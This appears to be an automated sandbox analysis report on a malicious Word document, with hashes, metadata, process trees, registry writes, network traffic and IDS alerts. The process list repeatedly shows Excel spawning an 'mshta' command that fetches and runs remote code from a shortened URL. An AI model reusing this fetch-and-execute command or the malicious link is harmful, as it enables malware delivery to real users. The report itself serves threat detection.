File name: | adf544377b545785e01dc711205c9970ed838a078ed31cd622794c0934cfe8a2.doc |
Full analysis: | https://app.any.run/tasks/6efabb32-f229-4f31-b1f5-0f65cbcc22dd |
Verdict: | Malicious activity |
Analysis date: | June 12, 2019, 02:47:48 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
File info: | Microsoft Word 2007+ |
MD5: | 9CF83212755FD77D173DA57BF008AAB8 |
SHA1: | 7F2776191DE0AD599C8C22EBFE4168612A552A6A |
SHA256: | ADF544377B545785E01DC711205C9970ED838A078ED31CD622794C0934CFE8A2 |
SSDEEP: | 1536:tiA3gHfirellrelGrzB/QhoCDW+4oDCdYH6oi4jRaUn1:tiA3gHfirezre8/aDCdFoBjRaUn1 |
.docx | | | Word Microsoft Office Open XML Format document (52.2) |
---|---|---|
.zip | | | Open Packaging Conventions container (38.8) |
.zip | | | ZIP compressed archive (8.8) |
Description: | - |
---|---|
Creator: | Lulli moti myri |
Subject: | - |
Title: | - |
ModifyDate: | 2019:02:14 23:27:00Z |
---|---|
CreateDate: | 2019:02:14 23:26:00Z |
RevisionNumber: | 2 |
LastModifiedBy: | Lulli moti myri |
Keywords: | - |
AppVersion: | 12 |
HyperlinksChanged: | No |
SharedDoc: | No |
CharactersWithSpaces: | 1 |
LinksUpToDate: | No |
Company: | Grizli777 |
ScaleCrop: | No |
Paragraphs: | 1 |
Lines: | 1 |
DocSecurity: | None |
Application: | Microsoft Office Word |
Characters: | 1 |
Words: | - |
Pages: | 1 |
TotalEditTime: | 1 minute |
Template: | Normal.dotm |
ZipFileName: | [Content_Types].xml |
---|---|
ZipUncompressedSize: | 2448 |
ZipCompressedSize: | 453 |
ZipCRC: | 0x1a0c076c |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCompression: | Deflated |
ZipBitFlag: | 0x0006 |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3288 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\adf544377b545785e01dc711205c9970ed838a078ed31cd622794c0934cfe8a2.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2456 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
1904 | mshta http://www.bitly.com/PINiXenmAskd8 | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3400 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
2780 | mshta http://www.bitly.com/PINiXenmAskd8 | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2668 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
1912 | mshta http://www.bitly.com/PINiXenmAskd8 | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2692 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
2072 | mshta http://www.bitly.com/PINiXenmAskd8 | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3728 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 |
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | eh> |
Value: 65683E00D80C0000010000000000000000000000 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | WORDFiles |
Value: 1321992222 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1321992336 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1321992337 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
Operation: | write | Name: | MTTT |
Value: D80C00008408E446C920D50100000000 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | fk> |
Value: 666B3E00D80C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | delete value | Name: | fk> |
Value: 666B3E00D80C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (3288) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRF0E5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F8FAF491.wmf | — | |
MD5:— | SHA256:— | |||
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{DF76F30A-65E7-4C47-9456-0CCE8308C287} | — | |
MD5:— | SHA256:— | |||
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{2FE3AA0E-2FF9-415E-AA6D-B8D3698418F5} | — | |
MD5:— | SHA256:— | |||
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AB48C51C.doc | — | |
MD5:— | SHA256:— | |||
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DC19958A.doc | — | |
MD5:— | SHA256:— | |||
2456 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR405D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2456 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFC845312859290CF2.TMP | — | |
MD5:— | SHA256:— | |||
3400 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR4984.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3288 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F420676.wmf | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2072 | mshta.exe | GET | 302 | 67.199.248.15:80 | http://bitly.com/PINiXenmAskd8 | US | html | 203 b | shared |
1904 | mshta.exe | GET | 302 | 67.199.248.15:80 | http://bitly.com/PINiXenmAskd8 | US | html | 203 b | shared |
3564 | mshta.exe | GET | 301 | 67.199.248.15:80 | http://www.bitly.com/PINiXenmAskd8 | US | html | 178 b | shared |
1904 | mshta.exe | GET | 301 | 67.199.248.15:80 | http://www.bitly.com/PINiXenmAskd8 | US | html | 178 b | shared |
2780 | mshta.exe | GET | 302 | 67.199.248.15:80 | http://bitly.com/PINiXenmAskd8 | US | html | 203 b | shared |
2780 | mshta.exe | GET | 301 | 67.199.248.15:80 | http://www.bitly.com/PINiXenmAskd8 | US | html | 178 b | shared |
1912 | mshta.exe | GET | 302 | 67.199.248.15:80 | http://bitly.com/PINiXenmAskd8 | US | html | 203 b | shared |
2072 | mshta.exe | GET | 301 | 67.199.248.15:80 | http://www.bitly.com/PINiXenmAskd8 | US | html | 178 b | shared |
1912 | mshta.exe | GET | 301 | 67.199.248.15:80 | http://www.bitly.com/PINiXenmAskd8 | US | html | 178 b | shared |
3564 | mshta.exe | GET | 302 | 67.199.248.15:80 | http://bitly.com/PINiXenmAskd8 | US | html | 203 b | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1904 | mshta.exe | 67.199.248.15:80 | www.bitly.com | Bitly Inc | US | shared |
3288 | WINWORD.EXE | 35.241.16.116:443 | static.wixstatic.com | — | US | unknown |
972 | svchost.exe | 35.241.16.116:443 | static.wixstatic.com | — | US | unknown |
— | — | 67.199.248.15:80 | www.bitly.com | Bitly Inc | US | shared |
2072 | mshta.exe | 67.199.248.15:443 | www.bitly.com | Bitly Inc | US | shared |
1904 | mshta.exe | 67.199.248.15:443 | www.bitly.com | Bitly Inc | US | shared |
2072 | mshta.exe | 67.199.248.15:80 | www.bitly.com | Bitly Inc | US | shared |
1912 | mshta.exe | 67.199.248.15:443 | www.bitly.com | Bitly Inc | US | shared |
2780 | mshta.exe | 67.199.248.15:443 | www.bitly.com | Bitly Inc | US | shared |
1912 | mshta.exe | 67.199.248.15:80 | www.bitly.com | Bitly Inc | US | shared |
Domain | IP | Reputation |
---|---|---|
static.wixstatic.com |
| whitelisted |
www.bitly.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
1904 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
1904 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
2780 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
2780 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
1912 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
2072 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
3564 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |